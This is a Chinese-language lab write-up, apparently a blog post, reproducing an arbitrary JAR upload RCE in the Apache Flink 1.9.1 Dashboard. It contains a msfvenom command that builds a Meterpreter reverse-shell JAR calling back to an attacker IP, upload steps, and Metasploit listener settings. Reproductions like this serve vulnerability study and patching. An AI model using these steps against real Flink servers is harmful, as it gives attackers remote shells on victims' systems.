0x00简介

Apache Flink是近几年大火的数据处理引擎。受到各大厂商的推崇并且已经应用与实际的业务场景中。很多公司在进行选型的时候都会选择Apache Flink作为选型的对象。

Apache Flink能用来做什么?

l 实时推荐系统

l 实时报表

l 实时数仓与ETL

l 复杂事件处理

l 实时欺诈与实时信用评估

l 大数据安全监测
Apache Flink 任意 Jar 包上传致 RCE 漏洞复现_第1张图片

Flink核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。基于流执行引擎,Flink提供了诸多更高抽象层的API以便用户编写分布式任务。

0x01漏洞介绍

***者可直接在Apache Flink Dashboard页面中上传任意jar包,从而达到远程代码执行的目的

0x02影响范围

至目前Apache Flink 1.9.1版本

0x03环境搭建

***机kali:192.168.10.147

受害机Ubuntu:192.168.10.176

测试环境:Flink 1.9.1 java8+

Apache Flink 1.9.1安装包下载:

https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz;

下载完成后使用解压

tar zxvf flink-1.9.1-bin-scala_2.11.tgz

Apache Flink 任意 Jar 包上传致 RCE 漏洞复现_第2张图片

进入bin目录运行./start-cluster.sh启动环境
Apache Flink 任意 Jar 包上传致 RCE 漏洞复现

环境搭建成功 目标站点

http://192.168.10.176:8081
Apache Flink 任意 Jar 包上传致 RCE 漏洞复现_第3张图片

0x04漏洞复现

1、使用kali生成jar后门包

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.10.147 LPORT=2020 -f jar > shell.jar

Apache Flink 任意 Jar 包上传致 RCE 漏洞复现_第4张图片

2、***机访问目标站点 并上传shell.jar

Apache Flink 任意 Jar 包上传致 RCE 漏洞复现_第5张图片

3、使用kali配置监听

use exploit/multi/handler

set payload java/shell/reverse_tcp

set RHOST 192.168.10.147

set LPORT 2020

run

Apache Flink 任意 Jar 包上传致 RCE 漏洞复现_第6张图片

4、点开刚刚上传的shell.jar,触发漏洞

Apache Flink 任意 Jar 包上传致 RCE 漏洞复现_第7张图片Apache Flink 任意 Jar 包上传致 RCE 漏洞复现_第8张图片

0x05修复方式

更新官方补丁或更新最新版本